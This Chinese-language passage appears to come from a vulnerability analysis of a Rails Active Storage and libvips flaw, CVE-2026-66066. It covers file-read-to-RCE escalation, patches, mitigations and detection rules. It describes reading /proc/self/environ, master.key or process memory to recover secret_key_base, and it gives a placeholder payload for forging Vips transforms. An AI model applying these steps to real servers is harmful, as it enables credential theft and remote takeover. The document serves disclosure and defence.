反序列化的 payload 最终通过 ImageProcessing 的链式构建器到达 Kernel#spawn 或 Kernel#eval,实现远程代码执行。研究团队验证的路径在 config.active_support.message_serializer = :json 配置下工作,仅使用 JSON 兼容的 Hash、Array 和 String 值构造签名变换。
从文件读取到 RCE 升级
文件读取到 RCE 的升级是 KindaRails2Shell 的第二阶段,也是最危险的部分。这一阶段依赖于 secret_key_base 泄露后对 Active Storage 变换令牌的伪造,以及 Vips 变换器的一个不完整修复。
8.1 密钥恢复的多种路径
获取 secret_key_base 并非只有读取 /proc/self/environ 一条路:
-
环境变量路径:读取
/proc/self/environ,如果应用通过SECRET_KEY_BASE环境变量部署(如 Docker、Kubernetes),直接获取。 -
主密钥路径:读取
config/master.key和config/credentials.yml.enc,用 AES-GCM 解密 credentials,从中提取secret_key_base。 -
进程内存路径:如果密钥既不在环境变量也不在磁盘文件中,可以读取
/proc/self/maps定位进程内存映射,然后读取/proc/self/mem从内存中提取密钥。
8.2 CVE-2025-24293 的不完整修复
RCE 升级的关键在于 Active Storage 变换器的方法注入问题。Active Storage 的变换器本应限制变换可以调用的方法——ActiveStorage.supported_image_processing_methods 白名单在 ImageMagick 变换器中被强制执行:
# activestorage — 变换处理流程
def operations
transformations.each_with_object([]) do |(name, argument), list|
if ActiveStorage.variant_processor == :mini_magick
validate_transformation(name, argument) # ← ImageMagick 有白名单验证
end
# Vips 路径不调用 validate_transformation!
if argument.present?
list << [name, argument]
end
end
end
问题在于:validate_transformation 白名单只在 :mini_magick 处理器中执行,:vips 处理器不执行任何方法名验证。 Vips 变换器继承的基类 validate_transformation 只阻止了 combine_options,其余方法调用畅通无阻。
这是 CVE-2025-24293(Active Storage 变体方法注入)的残留——该漏洞在 ImageMagick 路径上被修复了,但 Vips 路径被遗漏。下表对比了两个处理器的安全控制:
| 安全控制 | ImageMagick (:mini_magick) | Vips (:vips) |
|---|---|---|
validate_transformation 白名单 |
执行 | 不执行 |
| 方法名过滤 | supported_image_processing_methods |
无 |
combine_options 阻止 |
是 | 是 |
| 其他方法调用 | 被白名单限制 | 允许任意方法 |
8.3 从方法注入到代码执行
由于 Vips 变换器允许任意方法调用,攻击者可以通过伪造的变换令牌调用能够到达 Kernel#spawn 或 Kernel#eval 的方法链。ImageProcessing 的链式构建器会将变换列表中的方法名和参数转发给底层处理器。
# 攻击者伪造的变换 payload (概念示例)
# 利用 Vips 变换器缺少方法验证,构造到达命令执行的调用链
{
# 正常变换:
"resize_to_limit": [1, 1],
# 恶意方法调用 (Vips 路径不验证方法名):
# → 最终到达 Kernel#spawn / Kernel#eval
"<dangerous_method>": "<command_payload>"
}
研究团队验证的 RCE 路径仅使用 JSON 兼容的 Hash、Array 和 String 值构造签名变换(在 config.active_support.message_serializer = :json 配置下工作),最终通过 ImageProcessing 的链式构建器到达 Kernel#spawn 或 Kernel#eval。
8.4 不需要采集 variation_key 的替代触发路径
虽然采集 variation_key 是在标准应用上实现完全未认证攻击的方式,但并非唯一的触发路径:
-
附件即渲染:许多应用在上传/附加时同步运行变体(
process: :immediately或after_create回调调用attachment.representation(:thumb).processed)。 -
应用控制的变换端点:任何执行
blob.variant(固定变换).processed并返回像素的自定义控制器,都会在不需要variation_key的情况下到达 libvips——变换在服务端硬编码,攻击者只需提供 blob。 -
分析器和后台任务:
ActiveStorage::Analyzer::ImageAnalyzer::Vips在分析时调用 libvips 提取尺寸。任何最终在不可信 blob 上触发分析器的代码路径(上传钩子、预览器、ActionText 附件)都是另一个触发点,可以通过元数据提取字节。 -
MATLAB_empty 变体:Rails 的取证仓库记录了一种
MATLAB_empty变体——libmatio 在推导空数组维度时读取外部字节,因此这些字节可以作为宽度和高度而非像素值出现。这条路径不依赖保留像素值。
补丁分析与修复方案
9.1 核心补丁:Vips.block_untrusted(true)
修复的核心是在 Active Storage 启动时全局禁用 untrusted 操作。补丁在启动时调用 Vips.block_untrusted(true),这会让 libvips 拒绝所有标记为 VIPS_OPERATION_UNTRUSTED 的操作(包括 matload):
# 补丁后的 Active Storage 初始化逻辑 (概念)
unless Vips.respond_to?(:block_untrusted)
raise <<~ERROR.squish
libvips's unfuzzed operations are not safe to use with untrusted content,
and Active Storage cannot disable them. Disabling them requires libvips
8.13 or later and ruby-vips 2.2.1 or later. Please upgrade libvips...
ERROR
end
Vips.block_untrusted(true) # ← 全局禁用 untrusted 操作
这个补丁的设计有三层保障:
-
版本检查:如果
ruby-vips不支持block_untrusted方法(即 < 2.2.1),启动时直接抛出异常,阻止应用在不安全环境下运行。 -
全局禁用:
Vips.block_untrusted(true)在进程级别禁用所有 untrusted 操作,而非仅在 Active Storage 调用路径上检查。这意味着即使有其他代码路径调用 libvips,不安全加载器也被阻止。 -
libvips 版本要求:补丁要求 libvips >= 8.13。旧版本根本不支持
block_untrusted机制——VIPS_OPERATION_UNTRUSTED标志存在但无法被全局禁用。在此环境下,Active Storage 启动时会抛出异常。
9.2 影响版本与修复版本
| 版本线 | 受影响范围 | 修复版本 | 默认配置 |
|---|---|---|---|
| Rails 6.0.0 – 6.1.7.10 | 仅非默认配置 | 7.2.3.2 | 需手动配置 Vips |
| Rails 7.0.0 – 7.2.3.1 | 默认配置受影响 | 7.2.3.2 | 默认 Vips |
| Rails 8.0.0 – 8.0.5 | 默认配置受影响 | 8.0.5.1 | 默认 Vips |
| Rails 8.1.0 – 8.1.3 | 默认配置受影响 | 8.1.3.1 | 默认 Vips |
关键注意:Rails 6.x 仅在显式配置 Vips 处理器时受影响——标准 6.x 安装默认使用 ImageMagick,不受此向量影响。
9.3 无法立即升级的临时缓解措施
如果无法立即升级 Rails,可以采取以下缓解措施:
措施一:设置环境变量(libvips >= 8.13)
# 在应用启动环境中设置
export VIPS_BLOCK_UNTRUSTED=1
libvips 在初始化时读取此环境变量,效果等同于 Vips.block_untrusted(true)。
措施二:初始化器调用(ruby-vips >= 2.2.1)
# config/initializers/vips_security.rb
Vips.block_untrusted(true)
措施三:移除 libvips 依赖(仅用于图像分析时)
如果应用仅在图像分析中使用 ruby-vips(而非变体处理),可以从 Gemfile 中移除 ruby-vips 以彻底消除攻击面。
措施四:libvips < 8.13 无缓解方案
如果 libvips 版本低于 8.13,没有任何变通方案——旧版本根本无法禁用不安全操作。唯一的办法是升级 libvips 或移除 libvips 依赖。
9.4 密钥轮换
升级关闭了漏洞但无法撤销已泄露的密钥。受影响应用应将应用进程可读取的每个密钥视为已暴露并轮换:
secret_key_base(轮换会使所有活跃会话过期,要求用户重新登录)- 主密钥(
config/master.key或RAILS_MASTER_KEY),以及config/credentials.yml.enc中它解密的所有内容 - Active Storage 服务凭据(S3、GCS、Azure 密钥)
- 数据库凭据
- 应用调用的任何第三方服务的令牌和密钥
重要:轮换应仅作为必要时的中间步骤。不要将已暴露的密钥保留为回退选项。
检测与防御
10.1 检测信号
网络层检测信号:
-
异常的直接上传模式:短时间内大量
POST /rails/active_storage/direct_uploads请求,content_type声明为image/png但filename为.bmp或其他扩展名。 -
variation_key 跨 blob 重放:同一个
variation_key被用于不同的signed_blob_id——这是重放攻击的核心特征。正常使用中,一个variation_key通常只与一个 blob 关联。 -
高频 1×1 变体请求:大量请求生成 1×1 像素变体,且来自不同 blob——这是逐字节文件外泄的特征。
-
异常的表示 URL 模式:
signed_blob_id和variation_key的组合在正常流量中很少出现"新 blob + 旧 variation_key"的搭配。
主机层检测信号:
-
libvips 打开非图像文件:通过
auditd或inotify监控 libvips 进程打开/proc/、/etc/、config/等敏感路径。 -
/proc/self/environ读取:Rails worker 进程读取/proc/self/environ或/proc/1/environ是强烈的异常信号。 -
MAT 文件出现在 Active Storage 存储中:存储目录中出现以
MATLAB 5.0开头的文件。
10.2 WAF 规则建议
# WAF 规则: 检测 content_type 与文件签名不匹配的直接上传
rule: activestorage_direct_upload_content_type_mismatch
match:
endpoint: "/rails/active_storage/direct_uploads"
method: POST
body.content_type: "image/(png|jpeg|gif|webp)"
condition:
# 后续 PUT 上传的文件字节不以对应图像签名开头
uploaded_file_header: not_starts_with(["\x89PNG", "\xFF\xD8\xFF", "GIF8", "RIFF"])
action: block
# WAF 规则: 检测 variation_key 跨 blob 重放
rule: activestorage_variation_key_replay
match:
endpoint: "/rails/active_storage/representations/*"
condition:
# 同一 variation_key 关联多个不同 signed_blob_id (时间窗口内)
variation_key_cardinality_per_blob: "> 3"
action: block_and_alert
注意:Rails 安全公告明确指出"WAF 可能在某些部署中争取时间,但不是修复方案"。WAF 的有效性高度取决于应用的 Active Storage 存储配置和上传路径。
10.3 纵深防御建议
-
服务端内容类型验证:即使在直接上传路径中,也应对上传文件进行服务端字节嗅探(如使用 Marcel),验证
content_type与文件实际签名一致。 -
variation_key 与 blob 绑定:在表示路由中增加
variation_key与signed_blob_id的交叉校验,阻止跨 blob 重放。 -
最小权限运行:Rails worker 进程应以最小权限运行,限制其对
/proc/、config/等敏感路径的访问。 -
libvips 编译裁剪:在生产环境的 libvips 构建中禁用不需要的格式加载器(MAT、FITS、NIfTI 等),减少攻击面。
-
密钥分离:
secret_key_base不应存储在应用进程可直接读取的环境变量中,考虑使用 KMS 或 Vault 等密钥管理服务。 -
监控与告警:对 Active Storage 变体处理路径实施异常检测,关注非图像格式文件进入处理管道的信号。
总结
CVE-2026-66066(KindaRails2Shell)是一个由四层信任失败叠加而成的严重漏洞。它不是单一的代码缺陷,而是 Active Storage 的 content_type 闸门、libvips 的字节嗅探、Vips.block_untrusted 的未调用,以及 libvips/libmatio 对 MAT 文件头部的分歧判断共同构成的系统性问题。
这个漏洞给安全社区带来了几个深刻启示:
第一,内容类型的声明值与文件字节的真实值之间必须有一致性校验。Active Storage 信任数据库中的 content_type 字符串,libvips 信任文件字节,两者之间的断层构成了攻击者可以同时操控两侧的窗口。
第二,库的安全开关如果默认关闭且框架不主动开启,等于没有。libvips 早在 8.13 就引入了 block_untrusted 机制并标记了不安全操作,但 Active Storage 直到 CVE-2026-66066 才开始调用它——这是 CWE-1188 的典型教训。
第三,两个组件对同一输入的不同解析逻辑是隐蔽的攻击面。libvips 看前 10 字节,libmatio 看字节 124-125,这种"双重身份"文件在正常世界中不存在,却能同时满足两个库的不同期望。
第四,文件读取原语在 Rails 应用上几乎等同于 RCE。secret_key_base 泄露后,整个签名体系沦陷,加上 Vips 变换器的方法注入残留(CVE-2025-24293 的不完整修复),从文件读取到 RCE 的升级几乎是水到渠成。
最后,这个漏洞的发现过程本身也值得关注——Ethiack 团队使用了 AI 辅助(Claude Opus 4.8)分析 libvips 加载器的任意文件读写原语,表明 AI 在漏洞研究中的应用正从"代码审计"向"原语发现"延伸。安全团队需要关注这一趋势,既要利用 AI 加速防御研究,也要警惕攻击者利用 AI 快速重建利用链。
如果你在生产环境运行受影响版本的 Rails,请立即升级到 7.2.3.2、8.0.5.1 或 8.1.3.1,确认 libvips >= 8.13,并轮换所有可能已暴露的密钥。
参考来源
- Rails 安全公告 GHSA-xr9x-r78c-5hrm:https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm
- Rapid7 技术分析(Jonah Burgess):https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/
- Ethiack 研究博客:https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails
- libvips 8.13 发行说明——blocking of unfuzzed loaders:https://www.libvips.org/2022/05/28/What's-new-in-8.13.html
浙公网安备 33010602011771号